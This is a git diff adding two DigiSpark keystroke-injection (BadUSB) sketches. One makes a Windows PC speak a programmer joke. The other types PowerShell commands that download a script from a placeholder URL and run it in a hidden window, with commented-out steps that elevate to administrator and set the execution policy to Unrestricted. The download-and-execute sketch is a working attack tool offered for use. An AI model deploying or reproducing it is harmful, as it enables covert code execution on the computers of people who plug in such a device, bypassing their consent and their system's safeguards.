diff --git a/Execute_Powershell_Script/Execute_Powershell_Script.ino b/Execute_Powershell_Script/Execute_Powershell_Script.ino new file mode 100644 index 0000000..2c09014 --- /dev/null +++ b/Execute_Powershell_Script/Execute_Powershell_Script.ino @@ -0,0 +1,36 @@ +//This DigiSpark scripts downloads and executes a powershell script in hidden mode. +#include "DigiKeyboard.h" +void setup() { +} + +void loop() { + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); + DigiKeyboard.delay(500); + DigiKeyboard.print("powershell"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.print("$client = new-object System.Net.WebClient"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.print("$client.DownloadFile(\"https://scriptURL\" , \"script.ps1\")"); + DigiKeyboard.delay(1000); + DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT | KEY_R); + DigiKeyboard.delay(750); + //If the system hasn't been configured to run scripts, uncomment the lines bellow + //DigiKeyboard.print("powershell Start-Process cmd -Verb runAs"); + //DigiKeyboard.sendKeyStroke(KEY_ENTER); + //DigiKeyboard.delay(750); + //DigiKeyboard.sendKeyStroke(MOD_ALT_LEFT, KEY_Y); + //DigiKeyboard.delay(750); + //DigiKeyboard.print("powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false"); + //DigiKeyboard.sendKeyStroke(KEY_ENTER); + //DigiKeyboard.delay(750); + DigiKeyboard.print("powershell.exe -windowstyle hidden -File %USERPROFILE%\\script.ps1"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + for (;;) { + /*empty*/ + } + +} diff --git a/Talker/Talker.ino b/Talker/Talker.ino new file mode 100644 index 0000000..e6be873 --- /dev/null +++ b/Talker/Talker.ino @@ -0,0 +1,36 @@ +//This DigiSpark script opens up the powershell and makes your computer speak out a message. +#include "DigiKeyboard.h" +void setup() { +} + +void loop() { + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.delay(100); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); + DigiKeyboard.delay(100); + DigiKeyboard.print("powershell"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(200); + DigiKeyboard.print("Add-Type -AssemblyName System.speech"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(100); + DigiKeyboard.print("$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(100); + //Uncomment these lines to use a female voice + //DigiKeyboard.print("$speak.SelectVoice('Microsoft Zira Desktop')"); + //DigiKeyboard.sendKeyStroke(KEY_ENTER); + //DigiKeyboard.delay(500); + DigiKeyboard.print("$speak.Speak(\"Here's a joke. Why do Java programmers wear glasses? Because they can't C#.\")"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(100); + DigiKeyboard.print("exit"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(100); + DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT); + DigiKeyboard.sendKeyStroke(KEY_N); + for (;;) { + /*empty*/ + } + +}